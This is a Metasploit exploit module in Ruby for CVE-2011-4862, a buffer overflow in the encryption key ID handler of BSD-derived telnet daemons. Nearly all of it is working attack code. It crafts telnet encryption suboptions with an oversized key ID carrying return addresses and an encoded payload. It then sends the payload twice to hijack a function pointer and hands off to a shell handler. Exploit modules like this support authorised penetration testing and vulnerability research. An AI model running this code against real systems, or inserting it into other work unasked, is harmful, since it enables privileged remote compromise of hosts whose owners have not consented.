Linux BSD-derived Telnet Service Encryption Key ID Buffer Overflow

##

# $Id: $

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::Remote::Telnet

include Msf::Exploit::BruteTargets

def initialize(info = {})

super(update_info(info,

'Name'           => 'Linux BSD-derived Telnet Service Encryption Key ID Buffer Overflow',

'Description'    => %q{

This module exploits a buffer overflow in the encryption option handler of the

Linux BSD-derived telnet service (inetutils or krb5-telnet). Most Linux distributions

use NetKit-derived telnet daemons, so this flaw only applies to a small subset of

Linux systems running telnetd.

},

'Author'         => [ 'Jaime Penalba Estebanez <jpenalbae[at]gmail.com>', 'Brandon Perry <bperry.volatile[at]gmail.com>', 'Dan Rosenberg', 'hdm' ],

'License'        => MSF_LICENSE,

'References'     =>

[

['CVE', '2011-4862'],

['OSVDB', '78020'],

['BID', '51182'],

['URL', 'http://www.exploit-db.com/exploits/18280/']

],

'Privileged'     => true,

'Platform'       => 'linux',

'Payload'        =>

{

'Space'       => 200,

'BadChars'    => "\x00",

'DisableNops' => true,

},

'Targets'        =>

[

[ 'Automatic',  { } ],

[ 'Red Hat Enterprise Linux 3 (krb5-telnet)', { 'Ret' => 0x0804b43c } ],

],

'DefaultTarget'  => 0,

'DisclosureDate' => 'Dec 23 2011'))

end

def exploit_target(t)

connect

banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)

print_status(banner_sanitized) if datastore['VERBOSE']

enc_init      = "\xff\xfa\x26\x00\x01\x01\x12\x13\x14\x15\x16\x17\x18\x19\xff\xf0"

enc_keyid     = "\xff\xfa\x26\x07"

end_suboption = "\xff\xf0"

penc = payload.encoded.gsub("\xff", "\xff\xff")

key_id = Rex::Text.rand_text_alphanumeric(400)

key_id[ 0, 2] = "\xeb\x76"

key_id[72, 4] = [ t['Ret'] - 20 ].pack("V")

key_id[76, 4] = [ t['Ret'] ].pack("V")

# Some of these bytes can get mangled, jump over them

key_id[80,40]  = "\x41" * 40

# Insert the real payload

key_id[120, penc.length] = penc

# Create the Key ID command

sploit = enc_keyid + key_id + end_suboption

# Initiate encryption

sock.put(enc_init)

# Wait for a successful response

loop do

data = sock.get_once(-1, 5) rescue nil

if not data

raise RuntimeError, "This system does not support encryption"

end

break if data.index("\xff\xfa\x26\x02\x01")

end

# The first request smashes the pointer

print_status("Sending first payload")

sock.put(sploit)

# Make sure the server replied to the first request

data = sock.get_once(-1, 5)

unless data

print_status("Server did not respond to first payload")

return

end

# Some delay between each request seems necessary in some cases

::IO.select(nil, nil, nil, 0.5)

# The second request results in the pointer being called

print_status("Sending second payload...")

sock.put(sploit)

handler

::IO.select(nil, nil, nil, 0.5)

disconnect

end

end